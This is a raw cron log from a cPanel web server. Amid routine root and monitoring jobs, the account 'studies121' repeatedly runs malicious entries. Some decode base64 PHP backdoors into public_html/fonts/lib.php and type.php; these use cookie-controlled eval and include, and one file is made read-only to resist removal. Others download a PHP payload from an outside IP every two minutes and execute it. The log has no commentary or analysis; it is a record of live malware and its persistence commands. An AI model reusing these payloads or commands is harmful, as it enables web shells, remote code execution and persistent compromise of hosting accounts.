Sep 12 05:54:01 ip-184-168-122-23 CROND[6974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:54:01 ip-184-168-122-23 CROND[6975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:54:01 ip-184-168-122-23 CROND[6973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:55:01 ip-184-168-122-23 CROND[7073]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:55:01 ip-184-168-122-23 CROND[7075]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:55:01 ip-184-168-122-23 CROND[7076]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 05:55:01 ip-184-168-122-23 CROND[7079]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 05:55:01 ip-184-168-122-23 CROND[7077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:55:01 ip-184-168-122-23 CROND[7078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:56:01 ip-184-168-122-23 CROND[7248]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:56:01 ip-184-168-122-23 CROND[7250]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 05:56:01 ip-184-168-122-23 CROND[7252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:56:01 ip-184-168-122-23 CROND[7253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:56:01 ip-184-168-122-23 CROND[7251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:57:01 ip-184-168-122-23 CROND[7338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:57:01 ip-184-168-122-23 CROND[7341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:57:01 ip-184-168-122-23 CROND[7340]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:57:01 ip-184-168-122-23 CROND[7344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:58:01 ip-184-168-122-23 CROND[7420]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 05:58:01 ip-184-168-122-23 CROND[7421]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:58:01 ip-184-168-122-23 CROND[7422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:58:01 ip-184-168-122-23 CROND[7424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 05:58:01 ip-184-168-122-23 CROND[7423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:59:01 ip-184-168-122-23 CROND[7535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:59:01 ip-184-168-122-23 CROND[7536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 05:59:01 ip-184-168-122-23 CROND[7538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:59:01 ip-184-168-122-23 CROND[7539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:00:01 ip-184-168-122-23 CROND[7674]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 12 06:00:01 ip-184-168-122-23 CROND[7676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:00:01 ip-184-168-122-23 CROND[7677]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 06:00:01 ip-184-168-122-23 CROND[7680]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 06:00:01 ip-184-168-122-23 CROND[7683]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Sep 12 06:00:01 ip-184-168-122-23 CROND[7682]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:00:01 ip-184-168-122-23 CROND[7686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:00:01 ip-184-168-122-23 CROND[7684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:00:01 ip-184-168-122-23 CROND[7685]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 06:00:01 ip-184-168-122-23 CROND[7687]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 06:01:01 ip-184-168-122-23 CROND[7843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:01:01 ip-184-168-122-23 CROND[7845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:01:01 ip-184-168-122-23 CROND[7848]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 06:01:01 ip-184-168-122-23 CROND[7846]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 06:01:01 ip-184-168-122-23 CROND[7847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:01:01 ip-184-168-122-23 CROND[7849]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[7848]: starting 0anacron
Sep 12 06:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[7865]: finished 0anacron
Sep 12 06:02:01 ip-184-168-122-23 CROND[8009]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:02:01 ip-184-168-122-23 CROND[8011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:02:01 ip-184-168-122-23 CROND[8012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:02:01 ip-184-168-122-23 CROND[8013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:02:01 ip-184-168-122-23 CROND[8014]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 06:03:01 ip-184-168-122-23 CROND[8139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:03:01 ip-184-168-122-23 CROND[8141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:03:01 ip-184-168-122-23 CROND[8143]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:03:01 ip-184-168-122-23 CROND[8144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:04:01 ip-184-168-122-23 CROND[8223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:04:01 ip-184-168-122-23 CROND[8226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:04:01 ip-184-168-122-23 CROND[8227]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 06:04:01 ip-184-168-122-23 CROND[8228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:04:01 ip-184-168-122-23 CROND[8225]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:05:01 ip-184-168-122-23 CROND[8335]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 06:05:01 ip-184-168-122-23 CROND[8336]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 06:05:01 ip-184-168-122-23 CROND[8339]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 06:05:01 ip-184-168-122-23 CROND[8340]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 06:05:01 ip-184-168-122-23 CROND[8342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:05:01 ip-184-168-122-23 CROND[8341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 06:05:01 ip-184-168-122-23 CROND[8343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
